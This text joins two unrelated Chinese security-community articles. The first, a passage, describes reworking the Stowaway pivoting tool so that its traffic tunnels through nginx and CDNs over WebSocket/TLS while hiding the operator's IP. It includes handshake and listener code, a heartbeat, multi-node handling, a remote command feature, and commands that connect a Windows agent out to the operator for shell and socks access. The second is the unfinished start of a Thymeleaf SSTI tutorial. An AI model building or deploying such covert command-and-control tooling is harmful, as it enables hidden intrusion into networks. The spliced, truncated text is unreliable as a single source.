而cs为什么可以做到正常通信，那是因为他没有服务端主动的行为，都是通过客户端定期心跳请求服务端来拉去指令，这样就和一个正常的http请求流程是一样的。
而frp的websocket模式能正常运行，可能还是websocket和http有所区别，服务端能主动请求客户端。
补充：后续查阅资料，websocket是双工模式，可以双向主动通信，而http只是单工模式，只能由client主动往server发送请求。
上面这些只是一些猜想，在该工具中还需进一步测试来确定。
通过nginx测试，服务端在建立后会返回两次响应包，第二个响应包发送回去因为ACK没变，判断为重传，导致报错。
这是没过nginx正常通信的数据包，确实两次
emmm，如果是这样，我在想是否可以使用chunked编码，让nginx以为是分段传输，后续再测试。
chunked测试失败。
http策略取消。
# websocket
可能也是之前cs的cdn方案影响，老是想着用http来实现，结果就拉了，像frp和stowaway都是全双工通信工具，不能使用http这种单工通信协议，但frp里通过websocket能实现过nginx等反向代理服务器，那么stowaway自然也可以。
简单来说websocket是基于http改进的一种通信方式，只在第一次交互时携带http头部，后续通信直接传输数据就好，是一种长连接双向通信的方案，也可以说是所有双向通信工具的封装方案，现在CDN和云函数都支持websocket的，使得代理工具也能隐藏IP。
http封装里说到第一次请求会有一个密钥交互过程，那么在这之前插入一个websocket是不是就ok了。
先抓包看了下frp里的效果，其实说实话frp的整理码质量比stowaway高，解耦和模块化都很好，所以后续的改动就参考frp里的代码实现了。
这里看到其实就是一个简单的http交互，只是多了一个key的校验。frp里调用的是golang.org/x/net/websocket库那做的，还有一个更完善的库github.com/gorilla/websocket，但因为stowaway在原始的raw已经做了不少处理了（如长连接、重连等等），就不需要这么完整的库来做，只需要简单处理下头部就好了。
值得注意的是，stowaway是分为正向连接和反向连接，即listener和connect，在处理的时候需要考虑这两种场景。
这里就讲第一个节点和admin交互，其他基本类似。
admin/initial/method.go
admin也分为被动监听和主动连接两种情况。
说个题外话，admin一般都是监听，而主动连接什么时候用呢，比如一种完全不出网的场景，通过neoreg等web正向代理工具先进行第一层代理，后续如果需要进行内网多级代理，那么就需要agent监听，而admin连接上，从而组建代理网络。
这边先测试NormalPassive
在监听获取到agent发起的连接后，会通过PassivePreAuth进行密钥交互，那么在这之间就可以用来插入websocket第一次交互数据，并且套上tls。
这里是参考frp的，获取连接后，判断是否配置了tls，然后封装tls，接着根据协议，原先有raw/http，其实http没卵用，后续考虑删除，接着判断封装什么头部。
tcp就默认，websocket在进一步处理，为啥这样设计，因为后续可能加入kcp等等（这里其实考虑不周，udp的监听和这个conn根本不是一回事，后续再改呗）
补充：修复个bug，太傻逼了，需要改动成如下
conn = WrapTLSServerConn(conn, tlsConfig)
WebsocketListener代码逻辑比较简单，既然接收到连接，那么进一步就是获取agent发送的websocket头部，然后判断是否合法，合法就返回一个websocket响应头，这样就建立好websocket连接了，要wss就套一层tls就好了。
defer conn.SetReadDeadline(time.Time{})
conn.SetReadDeadline(time.Now().Add(10 * time.Second))
// 接收数据
result := bytes.Buffer{}
buf := make([]byte, 1024)
for {
count, err := conn.Read(buf)
if err != nil {
// 如果报错，判断错误类型，如果是超时则关闭连接返回err，如果是EOF则写入最后接收到的数据跳出循环。
if err == io.EOF && count > 0 {
result.Write(buf[:count])
} else if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() {
conn.Close()
return nil, err
}
break
}
if count > 0 {
result.Write(buf[:count])
// 因为headers最终都是以双换行结束，所以判断到这个就直接break。
if bytes.HasSuffix(buf[:count], []byte("\r\n\r\n")) {
break
}
}
}
// 解析请求头
req, err := http2.ParseRequest(result.String())
if err != nil {
conn.Close()
return nil, err
}
// 进行websocket协议校验。
key := req.Header.Get("Sec-Websocket-Key")
if key == "" {
conn.Close()
return nil, errors.New("Sec-Websocket-Key is not in header")
}
// 生成nonce
expectedAccept, err := getNonceAccept([]byte(key))
if err != nil {
conn.Close()
return nil, err
}
// 发送响应头部。
respHeaders := fmt.Sprintf(`HTTP/1.1 101 Switching Protocols
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: %s
`, expectedAccept)
respHeaders = strings.ReplaceAll(respHeaders, "\n", "\r\n")
conn.Write([]byte(respHeaders))
return conn, nil
BTW，CDN自然少不了domain参数，参考frp里说明，那么请求客户端自然需要带上。
agent/initial/method.go
agent也是一样的思路，找到密钥交互前的部分，插入头部。
这里就有个小坑了，conn获取后应该在第一时间判断是否封装tls，然后再交互协议头，不然tls就少封装第一次交互。
ConnectWebsocketServer实现代码
func ConnectWebsocketServer(addr string, tlsConfig *tls.Config, domainAddr string) (net.Conn, error) {
// 生成 nonce
nonce := generateNonce()
expectedAccept, err := getNonceAccept(nonce)
if err != nil {
return nil, err
}
addrSlice := strings.SplitN(addr, ":", 2)
if len(addrSlice) < 2 {
return nil, errors.New("addr is error")
}
host := domainAddr + ":" + addrSlice[1]
// 发起连接
conn, err := net.DialTimeout("tcp", addr, 10 *time.Second)
if err != nil {
return nil, err
}
if tlsConfig != nil {
conn = WrapTLSClientConn(conn, tlsConfig)
}
// 发送websocket头
wsHeaders := fmt.Sprintf(`GET %s HTTP/1.1
Host: %s
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: %s
Origin: http://192.168.111.1:8000
Sec-WebSocket-Version: 13
`, WebsocketPath, host, nonce)
wsHeaders = strings.ReplaceAll(wsHeaders, "\n", "\r\n")
defer conn.SetReadDeadline(time.Time{})
conn.SetReadDeadline(time.Now().Add(10 * time.Second))
conn.Write([]byte(wsHeaders))
// 接收server数据
result := bytes.Buffer{}
buf := make([]byte, 1024)
for {
count, err := conn.Read(buf)
if err != nil {
if err == io.EOF && count > 0 {
result.Write(buf[:count])
} else if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() {
conn.Close()
return nil, err
}
break
}
if count > 0 {
result.Write(buf[:count])
if bytes.HasSuffix(buf[:count], []byte("\r\n\r\n")) {
break
}
}
}
// 校验server的websocket响应头是否有效。
resp := result.String()
if !strings.Contains(resp, "Upgrade: websocket") ||
!strings.Contains(resp, "Connection: upgrade") ||
!strings.Contains(resp, "Sec-WebSocket-Accept: " + string(expectedAccept)) {
conn.Close()
return nil, errors.New("not websocket protocol")
}
return conn, nil
}
最终测试效果如下
admin: listener 192.168.111.130:8082
agent: connect 192.168.111.1:8443
nginx: 监听ssl 192.168.111.1:8443，转发到ssl 192.168.111.130:8082
测试成功
nginx前的数据包，加密没问题
nginx后的数据包
所以实际上实现websocket，从而达到过nginx等反代服务器的目的，也是蛮简单的。
当然测试看起来蛮正常的，却还有一个小bug需要解决，像CDN或者nginx服务器，对于长连接肯定是会有连接空闲超时限制的，这也是为了防止过多连接生成，而stowaway在保持长连接的过程中，只要不做任何操作，是没有任何流量的，这个作者也是为了降低流量侧的动静。但这也造成如果中间有一层反代的场景，就会在空闲过程中，判断client和server中间没有通信流量，超时自动断开长连接。
所以需要做一个心跳包，让反代服务器判断长连接一直在工作，而不会因空闲而断开连接。
**遗留问题：**
1. 长连接要保持，是必须要有心跳包的，所以这里没有心跳包，存在超时断开的问题，待解决。
# 心跳包
基本心跳功能已实现，测试nginx反代场景不再存在超时断开问题。
这里心跳包目前设计是由admin定期发送给agent，也无需响应，emmm至于为啥这么设计，其实方法很多，这个也只是其中一个测试方法，后续待商榷。
admin/process/process_win.go的Run方法里添加一个新的消息处理函数，并且只有在开启了ws之后才使用。
for循环，默认每个10秒发送一次，判断conn有效，然后封装到Message结构体里，最后发送。
这里其实可以看出来通信协议的格式，header部分是固定的格式，而消息部分可以自定义任意结构体或者[]byte，这里先随便写个结构体，后续考虑是否扩展。
PS: isPass用于判断是否跳过结构体解析以及加密，直接以[]byte来传输。
绝大部分情况是false，表示不跳过处理。
如果不跳过，就会根据header.MessageType判断怎么序列化数据，在这里由于我没写Keeep的序列化方式，所以虽然传进来了data，但实际并没有传输，也就是说只传输了头部。
最后通过sMessage.SendMessage()发送数据
agent部分接收
agent/process/process.go
protocol.DestructMessage这里其实除了反序列化数据，还会进行数据接收，也就是将接收和反序列化一起处理了。
通过header.MessageType判断消息类型，选择怎么处理数据，比如SHELLCOMMAND就是将数据发送到channel里，给manager以及消息处理函数进行下一步操作。
而Keep这是暂时没做任何处理，只做接收。
并且这里可以看到判断header.MessageType之前，会先判断UUID是否和当前节点UUID一致，如果不一致则发送给其他节点。
如果是发送给其他节点，这里直接message.([]byte)，转换成[]byte，emmm，上面不是解析成message结构体了吗，这边不会报错吗。
实际跟进DestructMessage，这里在根据DataLen读取到dataBuf后，会判断数据是否是发送给该节点的，如果不是则直接返回dataBuf，而不需要做解析。
心跳包目前实现就做了这些。
这里通过心跳包的实现总结下其他数据结构的协议交互逻辑。
1. 发送方通过Dispatch消息处理函数序列化数据（protocol.ConstructMessage）发送消息（message.SendMessage），接收方通过handleDataFromUpstream或handleDataFromDownstream进行监听接收，调用protocol.DestructMessage进行接收和反序列化处理，然后判断消息类型，写入channel，由相应的接收方消息处理函数进行处理并响应。
# 实战测试
vps上admin监听444 wss端口
./linux_x64_admin -l 444 -tls -down ws
agent发送wss请求到CDN提供的域名
windows_x64_agent.exe -c xxxxxx.com:443 -tls -up ws
效果如下，admin可以正常管理agent了，并测试shell、socks功能均正常，后续多投入一些实战项目中测试下。
# 多个startnode
原先作者只允许admin有一个startnode，其他agent是挂在第一个agent下，而不能实现同时有多个agent直连到admin，因为上面做了代理穿透CDN，所以必然会有多个startnode连接到admin，不然也不可能每一个startnode都单独设置一个CDN，那成本就太大了。
这个问题起初感觉很麻烦，因为和现在的设计逻辑不一样，现在是admin先监听等待，直到接收到连接，才会启动后续的各种处理函数。
重新梳理了一下现在的逻辑
1. 监听agent连接
2. 接收后将conn存储到全局
3. 通过goroutine启动处理函数和console
那么修改的话，就需要将第一步的监听放到goroutine里循环接收，并且conn不能再存放全局了，得在Admin或Manager结构体里存储，否则多个startnode会冲突。
最后处理函数，如果在多startnode情况下，要处理各个startnode之间的消息，担心会冲突，因为原始的设计只考虑一个startnode，那么就把处理函数也放到监听的goroutine里，每次收到一个新的链接，单独启动这一个startnode的处理函数，每个startnode之间的处理函数都是完成独立的，就不用担心会出现问题了。
admin里增加一个admin监听函数，做个for循环，每次接收到连接后和之前一个startnode操作一样，并且把conn、uuid、token等放到当前startnode的manager对象里，方便调用。
func (admin *Admin) DispatchAdminListenMess() {
var listener net.Listener
switch admin.options.Mode {
case initial.NORMAL_PASSIVE:
printer.Warning("[*] Waiting for new connection...\r\n")
listenAddr, _, err := utils.CheckIPPort(admin.options.Listen)
if err != nil {
printer.Fail("[*] Error occured: %s", err.Error())
os.Exit(0)
}
listener, err = net.Listen("tcp", listenAddr)
if err != nil {
printer.Fail("[*] Error occured: %s", err.Error())
os.Exit(0)
}
defer func() {
listener.Close() // don't forget close the listener
}()
}
for {
var conn = new(net.Conn)
var uuid string
// 判断连接模式，发起认证请求
// TODO: 其他链接模式优化
switch admin.options.Mode {
case initial.NORMAL_ACTIVE:
initial.NormalActive(admin.options, admin.Topology, nil)
case initial.NORMAL_PASSIVE:
*conn, uuid = initial.NormalPassive(listener, admin.options, admin.Topology)
case initial.PROXY_ACTIVE:
proxy := share.NewProxy(admin.options.Connect, admin.options.Proxy, admin.options.ProxyU, admin.options.ProxyP)
initial.NormalActive(admin.options, admin.Topology, proxy)
default:
printer.Fail("[*] Unknown Mode")
}
// TODO: mgr销毁
mgr := manager.NewManager(share.NewFile(conn, admin.options.Secret, uuid))
mgr.InitComponent(conn, admin.options.Secret, uuid, admin.options.Token)
admin.Managers[uuid] = mgr
go admin.handleMessFromDownstream(mgr)
if admin.options.Downstream == "ws" {
go handler.DispatchKeepMess(mgr, admin.options)
}
//go handler.DispatchAdminListenMess(admin.mgr, admin.options, admin.Topology)
// run a dispatcher to dispatch different kinds of message
go mgr.Run()
go handler.DispatchListenMess(mgr, admin.Topology)
go handler.DispatchConnectMess(mgr)
go handler.DispathSocksMess(mgr, admin.Topology)
go handler.DispatchForwardMess(mgr)
go handler.DispatchBackwardMess(mgr, admin.Topology)
go handler.DispatchFileMess(mgr)
go handler.DispatchSSHMess(mgr)
go handler.DispatchSSHTunnelMess(mgr)
go handler.DispatchShellMess(mgr)
go handler.DispatchInfoMess(mgr, admin.Topology)
go DispatchChildrenMess(mgr, admin.Topology)
}
}
Run里注释掉之前的处理函数，只留一个admin监听方法，当然console还是全局的，需要留给用户来交互操作。
由于每个处理函数的管理函数都是放在manager里的
所以manager也需要每个startnode独立，这里用map存储，uuid来区分保证唯一。
上述大致就完成了多startnode，就是mgr都得调整下成独立的，以前调用全局GComponent的地方，都得改成调用manager里存储的。
然后还有一个问题，监听函数每次接收到连接后用goroutine启动的处理函数，如果网络波动等原因和agent断开连接了，这个时候怎么退出这些函数来回收资源。
PS:
有个重点需要注意，UUID，managers（map）里的key是UUID，这个UUID是startnode的UUID而不是原来的ADMIN_UUID，并且mgr.GComponent.UUID也是startnode，需要区分一下，startnode的父节点UUID都是ADMIN_UUID，可以以此来区分该节点是否是startnode。
先定位到退出的位置，handleMessFromDownstream，把原来的os.Exit注释掉，然后原来在nodeoff后，会调用admin/process/children.go里的nodeOffline，handler和manager之间都是通过channel通信的，这里也是
这个函数会删除节点和子节点，并强制关闭每个节点的连接。
这里还增加了一个mgr.Clear()
为每个模块的管理函数都增加了一个Clear(),用于退出他们各自对应的处理函数
处理函数基本上都是一个for死循环，然后等待接收消息channel，那么我们只需要关闭这个消息channel，然后就不再等待阻塞直接返回nil，只需要判断message是否为nil，然后直接退出就行了，如下消息处理函数就是，其他基本一样。
那么Clear()只需要关闭channel即可退出。
最后就是在managers里删除该mgr。
这里应该是12的。
连接后
断开连接后，恢复到原始的goroutine，说明都释放了。
多测试了几次一样的结果。
emmm，做到这里，我想到另外一个点子，既然已经把listener做成多startnode，那么可否进一步做成热启动的方式来开启监听端口，在shell界面里通过指令开启多个端口监听或connect，来对接agent，反正都是相互隔离的，只有console是共享的，console再做成result
api，通过web来交互就更方便了，其实感觉像cs了，但马的功能是不会扩展了。
# 非交互式shell
有一个半交互式shell命令了，为啥还扩展一个非交互式shell，主要是因为原来的shell命令有太多问题，容易导致卡死，而且作为一个代理工具，shell命令的存在是不可取的，从以上两点，我就砍掉这个功能了，那么遇到一些特殊情况还是需要执行命令，以备不时之需，所以做了一个非交互式run指令
，当然也是了二次校验，用于提示操作存在风险。
在新增这个扩展指令的同时，算是把stowaway的指令处理逻辑搞清楚，跳过中间繁琐的代码分析过程，我把分析的结果整理了下，最终流程如下
添加一个新的指令，需要改动的动地方比较多
## admin
1. 新增收发结构体
protocol/protocol.go
protocol/proto/run.go
1. 结构体的序列化和反序列化。
protocol/raw.go
PS:
这一块作者实现其实太冗余了，每个数据结构体都单独实现这个过程，我看了他通信的数据结构，其实格式都比较固定，写一个通用的序列化和反序列化函数，通过反射获取结构体中的tags即可，这个在protobuf里也是差不多的操作，1000多行的代码最终优化到200行了。
1. 添加管理结构体
admin/handler/run.go
1. 添加到主manager里，注意clear也得添加
admin/manager/manager.go
1. 消息处理函数编写
上面是发送函数，下面是接收处理函数
发送函数可能通过接收函数调用或者console调用
接收函数一般是for循环，等待管理函数里的channel分发消息
handler/run.go
1. 分发result消息到channel里
admin/process/process.go
1. 调用收发函数
admin/process/process.go
消息发送函数这里是发在指令里调用。
admin/cli/interactive.go
1. 注册指令
admin/cli/cli.go
## agent
同理，但结构体已经写好，跳过这一步，从管理函数开始
1. 创建管理函数
agent/manager/run.go
1. 主manager里添加
agent/manager/manager.go
1. 添加消息处理函数，这里的发送函数就是在分发函数里调用的
agent/handler/run.go
接收服务端指令
agent/process/process.go
1. 调用分发函数
agent/process/process.go
最终测试如下
# 总结
这次改造实现了代理穿透CDN，并将原来的单startnode改造成多startnode，并尝试新增了一个指令，通过本次改造也是对http和websocket有了了解，并且对stowaway的指令处理流程也清晰了，而如果需要增加其他指令，也可以效仿这次的扩展，包括内联指令、强制重连等等操作。
这两次改造看下来可能觉得篇幅很长，这个主要出于个人习惯记录测试分析过程，所以看起来较长，但一些细节还是值得记录的，不然回头可能就不知道这个地方为什么这样改了。而且这些改造过程中涉及大量代码分析，虽然我说起来简单，但实际上像这种代理工具的代码逻辑还是需要花时间才能理清楚的，如果有师傅也觉得这个工具很nice，推荐自己动手改一改，然后可以参考下我这两篇文章，不然我感觉换一个没接触过这个工具的，看完这两篇文章也是一脸懵逼。这就和漏洞分析类似，没有自己动手分析过或者没有类似分析经验，是很难get到一些点，产生共鸣。当然如果大家觉得这些改造有什么新的思路，可以一起讨论讨论。
说个题外话，这次挑选了一款代理工具做改造，其实市面上有各种各样的代理工具，要寻找到一款趁手的工具，其实不太容易，所以就很需要自己做一些二开改造，有人可能觉得重复造轮子浪费时间，这个嘛，主要看工作需要，看你的方向，如果仅仅需要一个能用就行的代理工具，那其实有很多，而需要一个好用的工具，那么就需要根据自身需求做一些开发，一方面对工具的实现更透彻，另一方面不也是为了提升工作效率嘛，没有最好的，只有更适合自己的，这不仅仅局限于代理工具。在渗透整个攻击链上，其实各个环节，总有一个环节需要你去打造自己的工具的。关注漏洞利用，你自己编写一个脚本或者利用工具，会对漏洞成因更理解，并且能更深入优化漏洞的利用链，否则拿一个现成脚本跑一下，可能明明有漏洞而你却利用不成功，就像shiro被大家玩出花来了，而weblogic流传的一些工具其实也是有蛮多问题，诸如此类的太多了；又或者专门做漏洞挖掘，那你肯定会需要打造一个属于自己的审计工具，市面上的，不管是商用的还是开源的，总有不如人意的地方，总会需要编写自己的"codeql脚本"（这里具象举例而已），合入自己经验上的sink、source。一个合格的安全研究者应该也要是一个合格的开发。 | 社区文章 |
## 前言
最近看到某平台上有一篇关于SSTI的文章，之前也没了解过SSTI的漏洞，因此决定写篇文章记录学习过程。
## 模板引擎
要了解SSTI漏洞，首先要对模板引擎有所了解。下面是模板引擎的几个相关概念。
>
> 模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，用于网站的模板引擎就会生成一个标准的文档。
>
> 模板引擎的本质是将模板文件和数据通过模板引擎生成最终的HTML代码。
>
> 模板引擎不属于特定技术领域，它是跨领域跨平台的概念。
模板引擎的出现是为了解决前后端分离的问题，拿JSP的举个栗子，`JSP`本身也算是一种模板引擎，在`JSP`访问的过程中编译器会识别JSP的标签，如果是`JSP`的内容则动态的提取并将执行结果替换，如果是`HTML`的内容则原样输出。
**xxx.jsp**
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<%=111*111%>
</body>
</html>
上面的代码经过`JSP`引擎编译后，`HTML`部分直接输出，而使用`JSP`标签部分则是经过了解析后的结果。
out.write("<!DOCTYPE html>\r\n");
out.write("<html>\r\n");
out.write("<head>\r\n");
out.write("<meta charset=\"UTF-8\">\r\n");
out.write("<title>Insert title here</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
//解析后的结果
out.print(111*111);
out.write("\r\n");
out.write("</body>\r\n");
out.write("</html>");
**既然JSP已经是一个模板引擎了为什么后面还要推出其他的模板引擎？**
* 动态资源和静态资源全部耦合在一起，还是需要在`JSP`文件中写一些后端代码，这其实比较尴尬，所以导致很多JAVA开发不能专注于JAVA开发还需要写一些前端代码。
* 第一次请求jsp，必须要在web服务器中编译成servlet，第一次运行会较慢。
* 每次请求jsp都是访问servlet再用输出流输出的html页面，效率没有直接使用html高。
* 如果jsp中的内容很多，页面响应会很慢，因为是同步加载。
* jsp只能运行在web容器中，无法运行在nginx这样的高效的http服务上。
**使用模板引擎的好处是什么？**
模板设计好后可以直接填充数据使用，不需要重新设计页面，增强了代码的复用性
## Thymeleaf
`Thymeleaf`是众多模板引擎的一种和其他的模板引擎相比，它有如下优势：
* Thymeleaf使用html通过一些特定标签语法代表其含义，但并未破坏html结构，即使无网络、不通过后端渲染也能在浏览器成功打开，大大方便界面的测试和修改。
* Thymeleaf提供标准和Spring标准两种方言，可以直接套用模板实现JSTL、 OGNL表达式效果，避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
* Springboot官方大力推荐和支持，Springboot官方做了很多默认配置，开发者只需编写对应html即可，大大减轻了上手难度和配置复杂度。
### 语法
既然`Thymeleaf`也使用的`html`，那么如何区分哪些是`Thymeleaf`的`html`？
在`Thymeleaf`的`html`中首先要加上下面的标识。
<html xmlns:th="http://www.thymeleaf.org">
#### 标签
`Thymeleaf`提供了一些内置标签，通过标签来实现特定的功能。
标签 | 作用 | 示例
---|---|---
th:id | 替换id | `<input th:id="${user.id}"/>`
th:text | 文本替换 | `<p text:="${user.name}">bigsai</p>`
th:utext | 支持html的文本替换 | `<p utext:="${htmlcontent}">content</p>`
th:object | 替换对象 | `<div th:object="${user}"></div>`
th:value | 替换值 | `<input th:value="${user.name}" >`
th:each | 迭代 | `<tr th:each="student:${user}" >`
th:href | 替换超链接 | `<a th:href="@{index.html}">超链接</a>`
th:src | 替换资源 | `<script type="text/javascript"
th:src="@{index.js}"></script>`
#### 链接表达式
在Thymeleaf
中，如果想引入链接比如link，href，src，需要使用`@{资源地址}`引入资源。引入的地址可以在`static`目录下，也可以司互联网中的资源。
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>
#### 变量表达式
可以通过`${…}`在model中取值，如果在`Model`中存储字符串，则可以通过`${对象名}`直接取值。
public String getindex(Model model)//对应函数
{
//数据添加到model中
model.addAttribute("name","bigsai");//普通字符串
return "index";//与templates中index.html对应
}
<td th:text="'我的名字是：'+${name}"></td>
取JavaBean对象使用`${对象名.对象属性}`或者`${对象名['对象属性']}`来取值。如果JavaBean写了get方法也可以通过`${对象.get方法名}`取值。
public String getindex(Model model)//对应函数
{
user user1=new user("bigsai",22,"一个幽默且热爱java的社会青年");
model.addAttribute("user",user1);//储存javabean
return "index";//与templates中index.html对应
}
<td th:text="${user.name}"></td>
<td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>
取Map对象使用`${Map名['key']}`或`${Map名.key}`。
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("map",map);//储存Map
return "index";//与templates中index.html对应
}
<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>
取List集合：List集合是一个有序列表，需要使用each遍历赋值，`<tr th:each="item:${userlist}">`
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//数据添加到model中
model.addAttribute("userlist",userList);//储存List
return "index";//与templates中index.html对应
}
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>
#### 选择变量表达式
变量表达式也可以写为`*{...}`。星号语法对选定对象而不是整个上下文评估表达式。也就是说，只要没有选定的对象，美元(`${…}`)和星号(`*{...}`)的语法就完全一样。
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
#### 消息表达式
文本外部化是从模板文件中提取模板代码的片段，以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说`#{…}`语法就是用来
**读取配置文件中数据** 的。
#### 片段表达式
片段表达式`~{...}`可以用于引用公共的目标片段，比如可以在一个`template/footer.html`中定义下面的片段,并在另一个template中引用。
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
<div th:insert="~{footer :: copy}"></div>
### Demo
为了能快速对`Thymeleaf`上手，我们可以先写一个Demo直观的看到`Thymeleaf`的使用效果。
首先创建一个`SpringBoot`项目，在模板处选择`Thymeleaf`。
创建好的目录结构如下，可以在`templates`中创建`html`模板文件。
编写`Controller`
@Controller
public class urlController {
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
model.addAttribute("name","bigsai");
return "index";//与templates中index.html对应
}
}
在`templates`下创建模板文件`index.html`
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>
启动程序访问`/index`
## SpringMVC 视图解析过程分析
视图解析的过程是发生在Controller处理后，Controller处理结束后会将返回的结果封装为`ModelAndView`对象，再通过视图解析器`ViewResovler`得到对应的视图并返回。分析的栗子使用上面的Demo。
### 封装ModelAndView对象
在`ServletInvocableHandlerMethod#invokeAndHandle`中，做了如下操作：
* `invokeForRequest`调用Controller后获取返回值到`returnValue`中
* 判断`returnValue`是否为空，如果是则继续判断`0RequestHandled`是否为`True`，都满足的话设置`requestHandled`为`true`
* 通过`handleReturnValue`根据返回值的类型和返回值将不同的属性设置到`ModelAndViewContainer`中。
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
//调用Controller后获取返回值到returnValue中
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
this.setResponseStatus(webRequest);
//判断returnValue是否为空
if (returnValue == null) {
//判断RequestHandled是否为True
if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
this.disableContentCachingIfNecessary(webRequest);
//设置RequestHandled属性
mavContainer.setRequestHandled(true);
return;
}
} else if (StringUtils.hasText(this.getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");
try {
//通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。
this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
} catch (Exception var6) {
if (logger.isTraceEnabled()) {
logger.trace(this.formatErrorForReturnValue(returnValue), var6);
}
throw var6;
}
下面分析`handleReturnValue`方法。
* `selectHandler`根据返回值和类型找到不同的`HandlerMethodReturnValueHandler`，这里得到了`ViewNameMethodReturnValueHandler`,具体怎么得到的就不分析了。
* 调用`handler.handleReturnValue`，这里得到不同的`HandlerMethodReturnValueHandler`处理的方式也不相同。
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
//获取handler
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
//执行handleReturnValue操作
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
`ViewNameMethodReturnValueHandler#handleReturnValue`
* 判断返回值类型是否为字符型，设置`mavContainer.viewName`
* 判断返回值是否以`redirect:`开头，如果是的话则设置重定向的属性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
//设置返回值为viewName
mavContainer.setViewName(viewName);
//判断是否需要重定向
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
通过上面的操作，将返回值设置为`mavContainer.viewName`,执行上述操作后返回到`RequestMappingHandlerAdapter#invokeHandlerMethod`中。通过`getModelAndView`获取`ModelAndView`对象。
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
...
ModelAndView var15;
invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
if (asyncManager.isConcurrentHandlingStarted()) {
result = null;
return (ModelAndView)result;
}
//获取ModelAndView对象
var15 = this.getModelAndView(mavContainer, modelFactory, webRequest);
} finally {
webRequest.requestCompleted();
}
return var15;
}
`getModelAndView`根据`viewName`和`model`创建`ModelAndView`对象并返回。
private ModelAndView getModelAndView(ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception {
modelFactory.updateModel(webRequest, mavContainer);
//判断RequestHandled是否为True，如果是则不会创建ModelAndView对象
if (mavContainer.isRequestHandled()) {
return null;
} else {
ModelMap model = mavContainer.getModel();
//创建ModelAndView对象
ModelAndView mav = new ModelAndView(mavContainer.getViewName(), model, mavContainer.getStatus());
if (!mavContainer.isViewReference()) {
mav.setView((View)mavContainer.getView());
}
if (model instanceof RedirectAttributes) {
Map<String, ?> flashAttributes = ((RedirectAttributes)model).getFlashAttributes();
HttpServletRequest request = (HttpServletRequest)webRequest.getNativeRequest(HttpServletRequest.class);
if (request != null) {
RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes);
}
}
return mav;
}
}
### 获取视图
获取`ModelAndView`后，通过`DispatcherServlet#render`获取视图解析器并渲染。
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
response.setLocale(locale);
String viewName = mv.getViewName();
View view;
if (viewName != null) {
//获取视图解析器
view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
}
} else {
view = mv.getView();
if (view == null) {
throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'");
}
}
if (this.logger.isTraceEnabled()) {
this.logger.trace("Rendering view [" + view + "] ");
}
try {
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
//渲染
view.render(mv.getModelInternal(), request, response);
} catch (Exception var8) {
if (this.logger.isDebugEnabled()) {
